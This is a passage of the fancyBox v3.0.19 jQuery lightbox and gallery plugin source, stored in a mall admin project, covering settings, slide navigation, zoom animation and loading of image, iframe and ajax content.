java-mall-admin/public/im/libs3.6.0.min.js

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// ==================================================
// fancyBox v3.0.19
//
// Licensed GPLv3 for open source use
// or fancyBox Commercial License for commercial use
//
// http://fancyapps.com/fancybox/
// Copyright 2017 fancyApps
//
// ==================================================
;(function (window, document, $, undefined) {
  'use strict';

  // If there's no jQuery, fancyBox can't work
  // =========================================

  if ( !$ ) {
    return undefined;
  }

  // Private default settings
  // ========================

  var defaults = {

    // Animation duration in ms
    speed : 330,

    // Enable infinite gallery navigation
    loop : true,

    // Should zoom animation change opacity, too
    // If opacity is 'auto', then fade-out if image and thumbnail have different aspect ratios
    opacity : 'auto',

    // Space around image, ignored if zoomed-in or viewport smaller than 800px
    margin : [44, 0],

    // Horizontal space between slides
    gutter : 30,

    // Should display toolbars
    infobar : true,
    buttons : true,

    // What buttons should appear in the toolbar
    slideShow  : true,
    fullScreen : true,
    thumbs     : true,
    closeBtn   : true,

    // Should apply small close button at top right corner of the content
    // If 'auto' - will be set for content having type 'html', 'inline' or 'ajax'
    smallBtn : 'auto',

    image : {

      // Wait for images to load before displaying
      // Requires predefined image dimensions
      // If 'auto' - will zoom in thumbnail if 'width' and 'height' attributes are found
      preload : "auto",

      // Protect an image from downloading by right-click
      protect : false

    },

    ajax : {

      // Object containing settings for ajax request
      settings : {

        // This helps to indicate that request comes from the modal
        // Feel free to change naming
        data : {
          fancybox : true
        }
      }

    },

    iframe : {

      // Iframe template
      tpl : '<iframe id="fancybox-frame{rnd}" name="fancybox-frame{rnd}" class="fancybox-iframe" frameborder="0" vspace="0" hspace="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen allowtransparency="true" src=""></iframe>',

      // Preload iframe before displaying it
      // This allows to calculate iframe content width and height
      // (note: Due to "Same Origin Policy", you can't get cross domain data).
      preload : true,

      // Scrolling attribute for iframe tag
      scrolling : 'no',

      // Custom CSS styling for iframe wrapping element
      css : {}

    },

    // Custom CSS class for layout
    baseClass : '',

    // Custom CSS class for slide element
    slideClass : '',

    // Base template for layout
    baseTpl	: '<div class="fancybox-container" role="dialog" tabindex="-1">' +
      '<div class="fancybox-bg"></div>' +
      '<div class="fancybox-controls">' +
      '<div class="fancybox-infobar">' +
      '<button data-fancybox-previous class="fancybox-button fancybox-button--left" title="Previous"></button>' +
      '<div class="fancybox-infobar__body">' +
      '<span class="js-fancybox-index"></span>&nbsp;/&nbsp;<span class="js-fancybox-count"></span>' +
      '</div>' +
      '<button data-fancybox-next class="fancybox-button fancybox-button--right" title="Next"></button>' +
      '</div>' +
      '<div class="fancybox-buttons">' +
      '<button data-fancybox-close class="fancybox-button fancybox-button--close" title="Close (Esc)"></button>' +
      '</div>' +
      '</div>' +
      '<div class="fancybox-slider-wrap">' +
      '<div class="fancybox-slider"></div>' +
      '</div>' +
      '<div class="fancybox-caption-wrap"><div class="fancybox-caption"></div></div>' +
      '</div>',

    // Loading indicator template
    spinnerTpl : '<div class="fancybox-loading"></div>',

    // Error message template
    errorTpl : '<div class="fancybox-error"><p>The requested content cannot be loaded. <br /> Please try again later.<p></div>',

    closeTpl : '<button data-fancybox-close class="fancybox-close-small">×</button>',

    // Container is injected into this element
    parentEl : 'body',

    // Enable gestures (tap, zoom, pan and pinch)
    touch : true,

    // Enable keyboard navigation
    keyboard : true,

    // Try to focus on first focusable element after opening
    focus : true,

    // Close when clicked outside of the content
    closeClickOutside : true,

    // Callbacks
    beforeLoad	 : $.noop,
    afterLoad    : $.noop,
    beforeMove 	 : $.noop,
    afterMove    : $.noop,
    onComplete	 : $.noop,

    onInit       : $.noop,
    beforeClose	 : $.noop,
    afterClose	 : $.noop,
    onActivate   : $.noop,
    onDeactivate : $.noop

  };

  var $W = $(window);
  var $D = $(document);

  var called = 0;

  // Check if an object is a jQuery object and not a native JavaScript object
  // ========================================================================

  var isQuery = function (obj) {
    return obj && obj.hasOwnProperty && obj instanceof $;
  };

  // Handle multiple browsers for requestAnimationFrame()
  // ====================================================

  var requestAFrame = (function() {
    return  window.requestAnimationFrame ||
      window.webkitRequestAnimationFrame ||
      window.mozRequestAnimationFrame ||
      function( callback ) {
        window.setTimeout(callback, 1000 / 60); };
  })();


  // Check if element is inside the viewport by at least 1 pixel
  // ===========================================================

  var isElementInViewport = function( el ) {
    var rect;

    if ( typeof $ === "function" && el instanceof $ ) {
      el = el[0];
    }

    rect = el.getBoundingClientRect();

    return rect.bottom > 0 &&
      rect.right > 0 &&
      rect.left < (window.innerWidth || document.documentElement.clientWidth)  &&
      rect.top < (window.innerHeight || document.documentElement.clientHeight);
  };


  // Class definition
  // ================

  var FancyBox = function( content, opts, index ) {
    var self = this;

    self.opts  = $.extend( true, { index : index }, defaults, opts || {} );
    self.id    = self.opts.id || ++called;
    self.group = [];

    self.currIndex = parseInt( self.opts.index, 10 ) || 0;
    self.prevIndex = null;

    // Create group elements from original item collection
    self.createGroup( content );

    if ( !self.group.length ) {
      return;
    }

    // Save last active element and current scroll position
    self.$lastFocus = $(document.activeElement);

    // Collection of interface DOM elements
    self.elems = {};

    // Collection of gallery objects
    self.slides = {};

    self.init( content );

  };

  $.extend(FancyBox.prototype, {

    // Create DOM structure
    // ====================

    init : function() {
      var self = this;

      var testWidth;
      var $container;

      self.scrollTop  = $W.scrollTop();
      self.scrollLeft = $W.scrollLeft();

      // Disable compensating on touch-enabled devices as they probably do not have scrollbars anyway
      // and therefore we avoid of unnecessary layout reflow
      if ( !$.fancybox.isTouch && !$( 'body' ).hasClass( 'fancybox-enabled' ) ) {

        testWidth = $( 'body' ).width();
        testWidth = $( 'body' ).addClass( 'fancybox-enabled' ).width() - testWidth;

        // Body width has increased - compensate missing scrollbars
        if ( testWidth > 1 ) {
          $( '<style id="fancybox-noscroll" type="text/css">' ).html( '.compensate-for-scrollbar, .fancybox-enabled { margin-right: ' + testWidth + 'px; }' ).appendTo( 'head' );
        }

      }

      $container = $( self.opts.baseTpl )
        .attr('id', 'fancybox-container-' + self.id)
        .data( 'FancyBox', self )
        .addClass( self.opts.baseClass )
        .hide()
        .prependTo( self.opts.parentEl );

      // Create object holding references to jQuery wrapped nodes
      self.$refs = {
        container   : $container,
        bg          : $container.find('.fancybox-bg'),
        controls    : $container.find('.fancybox-controls'),
        buttons     : $container.find('.fancybox-buttons'),
        slider_wrap : $container.find('.fancybox-slider-wrap'),
        slider      : $container.find('.fancybox-slider'),
        caption     : $container.find('.fancybox-caption')
      };

      self.prevPos = null;
      self.currPos = 0;

      self.allowZoomIn = true;

      self.trigger( 'onInit' );

      // Bring to front and enable events
      self.activate();

      // Try to avoid running multiple times
      if ( self.current ) {
        return;
      }

      self.jumpTo( self.currIndex );

    },


    // Create array of gally item objects
    // Check if each object has valid type and content
    // ===============================================

    createGroup : function ( content ) {
      var self  = this;
      var items = $.makeArray( content );

      $.each(items, function( i, item ) {
        var obj  = {},
          opts = {},
          $item,
          data,
          type,
          src,
          srcParts;

        // Step 1 - Make sure we have an object

        if ( $.isPlainObject( item ) ) {

          obj  = item;
          opts = item.opts || {};

        } else if ( $.type( item ) === 'object' && $( item ).length ) {

          $item = $( item );
          data  = $item.data();

          opts = 'options' in data ? data.options : {};

          opts = $.type( opts ) === 'object' ? opts : {};

          obj.type = 'type' in data ? data.type : opts.type;
          obj.src  = 'src'  in data ? data.src  : ( opts.src || $item.attr( 'href' ) );

          opts.width   = 'width'   in data ? data.width   : opts.width;
          opts.height  = 'height'  in data ? data.height  : opts.height;
          opts.thumb   = 'thumb'   in data ? data.thumb   : opts.thumb;
          opts.caption = 'caption' in data ? data.caption : ( opts.caption || $item.attr( 'title' ) );

          opts.selector = 'selector'  in data ? data.selector  : opts.selector;

          opts.$orig = $item;

        } else {

          obj = {
            type    : 'html',
            content : item + ''
          };

        }

        obj.opts = $.extend( true, {}, self.opts, opts );


        // Step 2 - Make sure we have supported content type

        type = obj.type;
        src  = obj.src || '';

        if ( !type ) {

          if ( obj.content ) {
            type = 'html';

          } else if ( src.match(/(^data:image\/[a-z0-9+\/=]*,)|(\.(jp(e|g|eg)|gif|png|bmp|webp|svg|ico)((\?|#).*)?$)/i) ) {
            type = 'image';

          } else if ( src.match(/\.(pdf)((\?|#).*)?$/i) ) {
            type = 'pdf';

          } else if ( src.charAt(0) === '#' ) {
            type = 'inline';

          }

          obj.type = type;

        }

        // Step 3 - Some adjustments

        obj.index = self.group.length;

        // Check if $orig and $thumb objects exist
        if ( obj.opts.$orig && !obj.opts.$orig.length ) {
          delete obj.opts.$orig;
        }

        if ( !obj.opts.$thumb && obj.opts.$orig ) {
          obj.opts.$thumb = obj.opts.$orig.find( 'img:first' );
        }

        if ( obj.opts.$thumb && !obj.opts.$thumb.length ) {
          delete obj.opts.$thumb;
        }

        // Make sure we have caption as a string
        if ( $.type( self.opts.caption ) === 'function' ) {
          obj.opts.caption = self.opts.caption.apply( item, [ self, obj ] );

        } else {
          obj.opts.caption = obj.opts.caption === undefined ? '' : obj.opts.caption + '';
        }

        // Check if url contains selector used to filter the content
        // Example: "ajax.html #something"
        if ( type === 'ajax' ) {
          srcParts = src.split(/\s+/, 2);

          if ( srcParts.length > 1 ) {
            obj.src = srcParts.shift();

            obj.opts.selector = srcParts.shift();
          }
        }

        if ( obj.opts.smallBtn == 'auto' ) {

          if ( $.inArray( type, ['html', 'inline', 'ajax'] ) > -1 ) {
            obj.opts.buttons  = false;
            obj.opts.smallBtn = true;

          } else {
            obj.opts.smallBtn = false;
          }

        }

        if ( type === 'pdf' ) {

          obj.type = 'iframe';

          obj.opts.closeBtn = true;
          obj.opts.smallBtn = false;

          obj.opts.iframe.preload = false;

        }

        if ( obj.opts.modal ) {

          $.extend(true, obj.opts, {
            infobar		: 0,
            buttons		: 0,
            keyboard	: 0,
            slideShow	: 0,
            fullScreen	: 0,
            closeClickOutside	: 0
          });

        }

        self.group.push( obj );

      });

    },


    // Attach an event handler functions for:
    //   - navigation elements
    //   - browser scrolling, resizing;
    //   - focusing
    //   - keyboard
    // =================

    addEvents : function() {
      var self = this;

      var runUpdate = function () {

        $W.scrollTop( self.scrollTop ).scrollLeft( self.scrollLeft );

        self.$refs.slider_wrap.show();

        self.update();

      };

      self.removeEvents();


      // Make navigation elements clickable

      self.$refs.container.on('click.fb-close', '[data-fancybox-close]', function(e) {
        e.stopPropagation();
        e.preventDefault();

        self.close( e );

      }).on('click.fb-previous', '[data-fancybox-previous]', function(e) {
        e.stopPropagation();
        e.preventDefault();

        self.previous();

      }).on('click.fb-next', '[data-fancybox-next]', function(e) {
        e.stopPropagation();
        e.preventDefault();

        self.next();
      });


      // Handle page scrolling and browser resizing

      $( window ).on('orientationchange.fb resize.fb', function(e) {
        requestAFrame(function() {

          if ( e.type == "orientationchange" ) {
            self.$refs.slider_wrap.hide();

            requestAFrame( runUpdate );

          } else {

            runUpdate();
          }

        });

      });


      // Trap focus

      $D.on('focusin.fb', function(e) {
        var instance;

        if ( $.fancybox ) {
          instance = $.fancybox.getInstance();

          if ( instance && !$( e.target ).hasClass( 'fancybox-container' ) && !$.contains( instance.$refs.container[0], e.target ) ) {
            e.stopPropagation();

            instance.focus();

          }
        }

      });


      // Enable keyboard navigation

      $( document ).on('keydown.fb', function (e) {
        var current = self.current,
          keycode = e.keyCode || e.which;

        if ( !current || !current.opts.keyboard ) {
          return;
        }

        if ( $(e.target).is('input') || $(e.target).is('textarea') ) {
          return;
        }

        // Backspace and Esc keys
        if ( keycode === 8 || keycode === 27 ) {
          e.preventDefault();

          self.close();

          return;
        }

        switch ( keycode ) {

          case 37: // Left arrow
          case 38: // Up arrow

            e.preventDefault();

            self.previous();

            break;

          case 39: // Right arrow
          case 40: // Down arrow

            e.preventDefault();

            self.next();

            break;

          case 80: // "P"
          case 32: // Spacebar

            e.preventDefault();

            if ( self.SlideShow ) {
              e.preventDefault();

              self.SlideShow.toggle();
            }

            break;

          case 70: // "F"

            if ( self.FullScreen ) {
              e.preventDefault();

              self.FullScreen.toggle();
            }

            break;

          case 71: // "G"

            if ( self.Thumbs ) {
              e.preventDefault();

              self.Thumbs.toggle();
            }

            break;
        }
      });


    },


    // Remove events added by the core
    // ===============================

    removeEvents : function () {

      $W.off( 'scroll.fb resize.fb orientationchange.fb' );
      $D.off( 'keydown.fb focusin.fb click.fb-close' );

      this.$refs.container.off('click.fb-close click.fb-previous click.fb-next');
    },


    // Slide to left
    // ==================

    previous : function( duration ) {

      if ( this.current.opts.loop || this.currIndex > 0 ) {
        this.jumpTo( this.currIndex - 1, duration );

      } else {
        this.update( false, false, duration );
      }

    },


    // Slide to right
    // ===================

    next : function( duration ) {

      if ( this.current.opts.loop || this.currIndex < this.group.length - 1 ) {
        this.jumpTo( this.currIndex + 1, duration );

      } else {
        this.update( false, false, duration );
      }

    },


    // Display current gallery item, move slider to current position
    // =============================================================

    jumpTo : function ( to, duration ) {
      var self = this,
        firstRun = self.prevIndex === null,
        index,
        pos;

      to = parseInt( to, 10 );

      index = to;
      pos   = to;

      index = index % self.group.length;
      index = index < 0 ? self.group.length + index : index;

      if ( self.isAnimating || ( index == self.currIndex && !firstRun ) ) {
        return;
      }

      if ( self.group.length > 1 && !firstRun ) {

        // Calculate closest position of upcoming item from the current one
        if ( self.group.length == 2 ) {
          pos = to - self.currIndex + self.currPos;

        } else {
          pos = index - self.currIndex + self.currPos;

          if ( Math.abs( self.currPos - ( pos + self.group.length ) ) < Math.abs( self.currPos - pos ) ) {
            pos = pos + self.group.length;

          } else if ( Math.abs( self.currPos - ( pos - self.group.length ) ) < Math.abs( self.currPos - pos ) ) {
            pos = pos - self.group.length;

          }
        }

      }

      self.prevIndex = self.currIndex;
      self.prevPos   = self.currPos;

      self.currIndex = index;
      self.currPos   = pos;

      // Create slides

      self.createSlide( pos );

      if ( self.group.length > 1 ) {

        if ( self.opts.loop || pos - 1 >= 0 ) {
          self.createSlide( pos - 1 );
        }

        if ( self.opts.loop || pos + 1 < self.group.length ) {
          self.createSlide( pos + 1 );
        }
      }

      self.current = self.slides[ pos ];

      self.current.isMoved    = false;
      self.current.isComplete = false;

      duration = parseInt( duration === undefined ? self.current.opts.speed * 1.5 : duration, 10 );

      // Move slider to the next position
      // Note: the content might still be loading
      self.trigger( 'beforeMove' );

      self.updateControls();

      if ( firstRun ) {

        self.current.$slide.addClass('fancybox-slide--current');

        self.$refs.container.show();

        self.$refs.bg.css('transition-duration', ( duration + 90 ) + 'ms').hide().show(0);

        self.$refs.container.addClass( 'fancybox-container--ready' );

      } else {
        self.$refs.slider.children().removeClass('fancybox-slide--current fancybox-slide--complete');
      }

      // Set position immediately on first opening
      self.update( true, false, firstRun ? 0 : duration, function() {
        self.afterMove();
      });

      self.loadSlide( self.current );

    },


    // Create new "slide" element
    // These are gallery items  that are actually added to DOM
    // =======================================================

    createSlide : function( pos ) {

      var self = this;
      var $slide;
      var index;

      index = pos % self.group.length;
      index = index < 0 ? self.group.length + index : index;

      if ( !self.slides[ pos ] && self.group[ index ] ) {

        $slide = $('<div class="fancybox-slide"></div>').appendTo( self.$refs.slider );

        self.slides[ pos ] = $.extend( true, {}, self.group[ index ], {
          pos      : pos,
          $slide   : $slide,
          isMoved  : false,
          isLoaded : false
        });

      }

    },

    zoomInOut : function( type, duration, callback ) {

      var self     = this;
      var current  = self.current;
      var $what    = current.$placeholder;
      var opacity  = current.opts.opacity;
      var $thumb   = current.opts.$thumb;
      var thumbPos = $thumb ? $thumb.offset() : 0;
      var slidePos = current.$slide.offset();
      var props;
      var start;
      var end;

      if ( !$what || !thumbPos || !isElementInViewport( $thumb ) ) {
        return false;
      }

      $.fancybox.stop( $what );

      self.isAnimating = true;

      props = {
        top    : thumbPos.top  - slidePos.top  + parseFloat( $thumb.css( "border-top-width" ) || 0 ),
        left   : thumbPos.left - slidePos.left + parseFloat( $thumb.css( "border-left-width" ) || 0 ),
        width  : $thumb.width(),
        height : $thumb.height(),
        scaleX : 1,
        scaleY : 1
      };

      // Check if we need to animate opacity
      if ( opacity == 'auto' ) {
        opacity = Math.abs( current.width / current.height - props.width / props.height ) > 0.1;
      }

      if ( type === 'In' ) {

        start = props;
        end   = self.getFitPos( current );

        end.scaleX = end.width  / start.width;
        end.scaleY = end.height / start.height;

        if ( opacity ) {
          start.opacity = 0.1;
          end.opacity   = 1;
        }

      } else {

        start = $.fancybox.getTranslate( $what );
        end   = props;

        // Switch to thumbnail image to improve animation performance
        if ( current.$ghost ) {
          current.$ghost.show();

          if ( current.$image ) {
            current.$image.remove();
          }
        }

        start.scaleX = start.width  / end.width;
        start.scaleY = start.height / end.height;

        start.width  = end.width;
        start.height = end.height;

        if ( opacity ) {
          end.opacity = 0;
        }

      }

      self.updateCursor( end.width, end.height );

      // There is no need to animate width/height
      delete end.width;
      delete end.height;

      $.fancybox.setTranslate( $what, start );

      $what.show();

      self.trigger( 'beforeZoom' + type );

      setTimeout(function() {

        $what.css( 'transition', 'all ' + duration + 'ms' );

        $.fancybox.setTranslate( $what, end );

        setTimeout(function() {

          $what.css( 'transition', 'none' );

          self.trigger( 'afterZoom' + type );

          callback();

          self.isAnimating = false;

        }, duration + 20 );

      }, 70);

      return true;

    },

    // Start "zoom-in" animation if possible
    // =====================================

    zoomIn : function() {

      var self     = this;
      var current  = self.current;
      var $what    = current.$placeholder;

      self.allowZoomIn = false;
      self.isOpening   = true;

      return self.zoomInOut( 'In', current.opts.speed, function() {

        var reset = $.fancybox.getTranslate( $what );

        reset.scaleX = 1;
        reset.scaleY = 1;

        // Reset scalex/scaleY values; this helps for perfomance
        $.fancybox.setTranslate( $what, reset );

        self.isOpening = false;

        self.update( false, true, 0 );

        if ( current.$ghost ) {
          self.setBigImage( current );
        }

      });

    },


    // Start "zoom-out" animation if possible
    // ======================================

    zoomOut : function( callback ) {

      var self     = this;
      var current  = self.current;

      if ( self.zoomInOut( 'Out', current.opts.speed, callback ) ) {

        self.$refs.bg.css('transition-duration', current.opts.speed + 'ms');

        this.$refs.container.removeClass( 'fancybox-container--ready' );

        return true;
      }

      return false;

    },


    // Check if image dimensions exceed parent element
    // ===============================================

    canPan : function() {

      var self = this;

      var current = self.current;
      var $what   = current.$placeholder;

      var rez = false;

      if ( $what ) {
        rez = self.getFitPos( current );
        rez = Math.abs( $what.width() - rez.width ) > 1  || Math.abs( $what.height() - rez.height ) > 1;

      }

      return rez;

    },


    // Check if current image dimensions are smaller than actual
    // =========================================================

    isScaledDown : function() {

      var self = this;

      var current = self.current;
      var $what   = current.$placeholder;

      var rez = false;

      if ( $what ) {
        rez = $.fancybox.getTranslate( $what );
        rez = rez.width < current.width || rez.height < current.height;
      }

      return rez;

    },


    // Scale image to the actual size of the image
    // ===========================================

    scaleToActual : function( x, y, duration ) {

      var self = this;

      var current = self.current;
      var $what   = current.$placeholder;

      var imgPos, posX, posY, scaleX, scaleY;

      var canvasWidth  = parseInt( current.$slide.width(), 10 );
      var canvasHeight = parseInt( current.$slide.height(), 10 );

      var newImgWidth  = current.width;
      var newImgHeight = current.height;

      if ( !$what ) {
        return;
      }

      self.isAnimating = true;

      x = x === undefined ? canvasWidth  * 0.5  : x;
      y = y === undefined ? canvasHeight * 0.5  : y;

      imgPos = $.fancybox.getTranslate( $what );

      scaleX  = newImgWidth  / imgPos.width;
      scaleY  = newImgHeight / imgPos.height;

      // Get center position for original image
      posX = ( canvasWidth * 0.5  - newImgWidth * 0.5 );
      posY = ( canvasHeight * 0.5 - newImgHeight * 0.5 );

      // Make sure image does not move away from edges

      if ( newImgWidth > canvasWidth ) {
        posX = imgPos.left * scaleX - ( ( x * scaleX ) - x );

        if ( posX > 0 ) {
          posX = 0;
        }

        if ( posX <  canvasWidth - newImgWidth ) {
          posX = canvasWidth - newImgWidth;
        }
      }

      if ( newImgHeight > canvasHeight) {
        posY = imgPos.top  * scaleY - ( ( y * scaleY ) - y );

        if ( posY > 0 ) {
          posY = 0;
        }

        if ( posY <  canvasHeight - newImgHeight ) {
          posY = canvasHeight - newImgHeight;
        }
      }

      self.updateCursor( newImgWidth, newImgHeight );

      $.fancybox.animate( $what, {
        top    : imgPos.top,
        left   : imgPos.left,
        width  : newImgWidth,
        height : newImgHeight,
        scaleX : imgPos.width / newImgWidth,
        scaleY : imgPos.height / newImgHeight
      }, {
        top    : posY,
        left   : posX,
        scaleX : 1,
        scaleY : 1
      }, duration || current.opts.speed, function() {
        self.isAnimating = false;

      });

    },


    // Scale image to fit inside parent element
    // ========================================

    scaleToFit : function( duration ) {

      var self = this;

      var current = self.current;
      var $what   = current.$placeholder;
      var end;

      if ( !$what ) {
        return;
      }

      self.isAnimating = true;

      end = self.getFitPos( current );

      self.updateCursor( end.width, end.height );

      $.fancybox.animate( $what, null, {
        top    : end.top,
        left   : end.left,
        scaleX : end.width  / $what.width(),
        scaleY : end.height / $what.height()
      }, duration || current.opts.speed, function() {
        self.isAnimating = false;

      });

    },

    // Calculate image size to fit inside viewport
    // ===========================================

    getFitPos : function( slide ) {
      var $what = slide.$placeholder || slide.$content;

      var imgWidth  = slide.width;
      var imgHeight = slide.height;

      var margin = slide.opts.margin;

      var canvasWidth, canvasHeight, minRatio, top, left, width, height;

      if ( !$what || !$what.length || ( !imgWidth && !imgHeight) ) {
        return false;
      }

      // Convert "margin to CSS style: [ top, right, bottom, left ]
      if ( $.type( margin ) === "number" ) {
        margin = [ margin, margin ];
      }

      if ( margin.length == 2 ) {
        margin = [ margin[0], margin[1], margin[0], margin[1] ];
      }

      if ( $W.width() < 800 ) {
        margin = [0, 0, 0, 0];
      }

      canvasWidth  = parseInt( slide.$slide.width(), 10 )  - ( margin[ 1 ] + margin[ 3 ] );
      canvasHeight = parseInt( slide.$slide.height(), 10 ) - ( margin[ 0 ] + margin[ 2 ] );

      minRatio = Math.min(1, canvasWidth / imgWidth, canvasHeight / imgHeight );

      // Use floor rounding to make sure it really fits

      width  = Math.floor( minRatio * imgWidth );
      height = Math.floor( minRatio * imgHeight );

      top  = Math.floor( ( canvasHeight - height ) * 0.5 ) + margin[ 0 ];
      left = Math.floor( ( canvasWidth  - width )  * 0.5 ) + margin[ 3 ];

      return {
        top    : top,
        left   : left,
        width  : width,
        height : height
      };

    },

    // Move slider to current position
    // Update all slides (and their content)
    // =====================================

    update : function( andSlides, andContent, duration, callback ) {

      var self = this;

      var leftValue = ( self.current.pos * Math.floor( self.current.$slide.width() ) * -1 ) - ( self.current.pos * self.current.opts.gutter ) ;

      if ( self.isOpening === true ) {
        return;
      }

      duration = parseInt( duration, 10 ) || 0;

      $.fancybox.stop( self.$refs.slider );

      if ( andSlides === false ) {
        self.updateSlide( self.current, andContent );

      } else {

        $.each( self.slides, function( key, slide ) {
          self.updateSlide( slide, andContent );
        });

      }

      if ( duration ) {

        $.fancybox.animate( self.$refs.slider, null, {
          top  : 0,
          left : leftValue
        }, duration, function() {
          self.current.isMoved = true;

          if ( $.type( callback ) === 'function' ) {
            callback.apply( self );
          }

        });

      } else {

        $.fancybox.setTranslate( self.$refs.slider, { left : leftValue } );

        if ( $.type( callback ) === 'function' ) {
          callback.apply( self );
        }

      }

      self.updateCursor();

    },


    // Update slide position and scale content to fit
    // ==============================================

    updateSlide : function( slide, andContent ) {

      var self  = this;
      var $what = slide.$placeholder;

      slide = slide || self.current;

      if ( !slide || self.isClosing ) {
        return;
      }

      $.fancybox.setTranslate( slide.$slide, { left : ( slide.pos * Math.floor( slide.$slide.width() )  ) + ( slide.pos * slide.opts.gutter) } );

      if ( andContent !== false && $what ) {
        $.fancybox.setTranslate( $what, self.getFitPos( slide ) );
      }

      slide.$slide.trigger( 'refresh' );

      self.trigger( 'onUpdate', slide );
    },

    // Update cursor style depending if content can be zoomed
    // ======================================================

    updateCursor : function( nextWidth, nextHeight ) {

      var self = this;
      var canScale;

      var $container = self.$refs.container.removeClass('fancybox-controls--canzoomIn fancybox-controls--canzoomOut fancybox-controls--canGrab');

      if ( self.isClosing || !self.opts.touch ) {
        return;
      }

      if ( nextWidth !== undefined && nextHeight !== undefined ) {
        canScale = nextWidth < self.current.width && nextHeight < self.current.height;

      } else {
        canScale = self.isScaledDown();
      }

      if ( canScale ) {
        $container.addClass('fancybox-controls--canzoomIn');

      } else if ( self.group.length < 2 ) {
        $container.addClass('fancybox-controls--canzoomOut');

      } else {
        $container.addClass('fancybox-controls--canGrab');
      }

    },

    // Load content into the slide
    // ===========================

    loadSlide : function( slide ) {

      var self = this, type, $slide;
      var ajaxLoad;

      if ( !slide ) {
        return false;
      }

      if ( slide.isLoading ) {
        return;
      }

      self.trigger( 'beforeLoad', slide );

      type	= slide.type;
      $slide	= slide.$slide;

      $slide
        .unbind( 'refresh' )
        .trigger( 'onReset' )
        .addClass( 'fancybox-slide--' + ( type || 'unknown' ) )
        .addClass( slide.opts.slideClass );

      slide.isLoading = true;

      // Create content depending on the type

      switch ( type ) {

        case 'image':

          self.setImage( slide );

          break;

        case 'iframe':

          self.setIframe( slide );

          break;

        case 'html':

          self.setContent( slide, slide.content );

          break;

        case 'inline':

          if ( $( slide.src ).length ) {
            self.setContent( slide, $( slide.src ) );

          } else {
            self.setError( slide );

          }

          break;

        case 'ajax':

          self.showLoading( slide );

          ajaxLoad = $.ajax( $.extend( {}, slide.opts.ajax.settings, {

            url: slide.src,

            success: function ( data, textStatus ) {

              if ( textStatus === 'success' ) {
                self.setContent( slide, data );

              }

            },

            error: function ( jqXHR, textStatus ) {

              if ( jqXHR && textStatus !== 'abort' ) {
                self.setError( slide );

              }

            }

          }));

          $slide.one( 'onReset', function () {

            ajaxLoad.abort();

          });

          break;

        default:

          self.setError( slide );

          break;

      }

      return true;

    },


    // Use thumbnail image, if possible
    // ================================

    setImage : function( slide ) {

      var self = this;

      if ( slide.isLoaded && !slide.hasError ) {
        self.afterLoad( slide );

        return;
      }

      slide.$placeholder = $('<div class="fancybox-placeholder"></div>').hide().prependTo( slide.$slide );

      if ( slide.opts.preload !== false && slide.opts.width && slide.opts.height && ( slide.opts.thumb || slide.opts.$thumb ) ) {

        slide.width  = slide.opts.width;
        slide.height = slide.opts.height;

        slide.$ghost = $('<img />')
          .addClass( 'fancybox-image' )
          .one('load error', function() {

            if ( self.isClosing ) {
              return;
            }

            $( this ).appendTo( slide.$placeholder );

            // Start preloading full size image
            $('<img/>')[0].src = slide.src;

            // Check if we can perform zoom-in animation
            if ( !self.allowZoomIn || !( slide.index === self.currIndex && self.zoomIn() ) ) {

              self.isOpening = false;

              self.updateSlide( slide, true );

              slide.$placeholder.show();

              self.setBigImage( slide );

            }

          })
          .attr( 'src', slide.opts.thumb || slide.opts.$thumb.attr( 'src' ) );

      } else {

        self.setBigImage( slide );

      }

    },


    // Create full-size image
    // ======================

    setBigImage : function ( slide ) {

      var self = this;
      var $img = $('<img />');

      if ( slide.opts.image.protect ) {
        $('<div class="fancybox-spaceball"></div>').appendTo( slide.$placeholder );
      }

      $img.one('error', function() {

        self.setError( slide );

      }).one('load', function() {

        if ( self.isClosing ) {
          return;
        }

        slide.$image = $img.addClass('fancybox-image').appendTo( slide.$placeholder );

        slide.width  = this.naturalWidth;
        slide.height = this.naturalHeight;

        self.afterLoad( slide );

        if ( slide.$ghost ) {

          slide.timouts = setTimeout(function() {
            slide.$ghost.hide();
          }, 300);

        }

      }).attr('src', slide.src);

      if ( $img[0].complete ) {
        $img.trigger('load');

      } else if( $img[0].error ) {
        $img.trigger('error');

      } else {

        slide.timouts = setTimeout(function() {

          if ( !$img[0].complete ) {
            self.showLoading( slide );
          }

        }, 150);

      }

    },

    // Simply show image holder without animation
    // It has been hidden initially to avoid flickering
    // ================================================

    revealImage : function( slide ) {

      if ( slide.$placeholder ) {
        slide.$placeholder.show();

        if ( slide.index === this.currIndex ) {
          this.updateCursor();
        }
      }

    },

    // Create iframe wrapper, iframe and bindings
    // ==========================================

    setIframe : function( slide ) {
      var self	= this,
        opts    = slide.opts.iframe,
        $slide	= slide.$slide,
        $iframe;

      slide.$content = $('<div class="fancybox-content"></div>')
        .css( opts.css )
        .appendTo( $slide );

      $iframe = $( opts.tpl.replace(/\{rnd\}/g, new Date().getTime()) )
        .attr('scrolling', $.fancybox.isTouch ? 'auto' : opts.scrolling)
        .appendTo( slide.$content );

      if ( opts.preload ) {
        slide.$content.addClass( 'fancybox-tmp' );

        self.showLoading( slide );

        // Unfortunately, it is not always possible to determine if iframe is successfully loaded
        // (due to browser security policy)

        $iframe.on('load.fb error.fb', function(e) {
          this.isReady = 1;

          slide.$slide.trigger( 'refresh' );

          self.afterLoad( slide );

        });

        // Recalculate iframe content size

        $slide.on('refresh.fb', function() {
          var $wrap = slide.$content,
            $contents,
            $body,
            scrollWidth,
            frameWidth,
            frameHeight;

          if ( $iframe[0].isReady !== 1 ) {
            return;
          }

          // Check if content is accessible,
          // it will fail if frame is not with the same origin

          try {
            $contents	= $iframe.contents();
            $body		= $contents.find('body');

          } catch (ignore) {}

          // Calculate dimensions for the wrapper

          if ( $body && $body.length && !( opts.css.width !== undefined && opts.css.height !== undefined ) ) {

            scrollWidth = $iframe[0].contentWindow.document.documentElement.scrollWidth;

            frameWidth	= Math.ceil( $body.outerWidth(true) + ( $wrap.width() - scrollWidth ) );
            frameHeight	= Math.ceil( $body.outerHeight(true) );

            // Resize wrapper to fit iframe content

            $wrap.css({
              'width'  : opts.css.width  === undefined ? frameWidth  + ( $wrap.outerWidth()  - $wrap.innerWidth() )  : opts.css.width,
              'height' : opts.css.height === undefined ? frameHeight + ( $wrap.outerHeight() - $wrap.innerHeight() ) : opts.css.height
            });

          }

          $wrap.removeClass( 'fancybox-tmp' );

        });

      } else {

        this.afterLoad( slide );

      }

      $iframe.attr( 'src', slide.src );

      if ( slide.opts.smallBtn ) {
        slide.$content.prepend( slide.opts.closeTpl );
      }

      // Remove iframe if closing or changing gallery item

      $slide.one('onReset', function () {

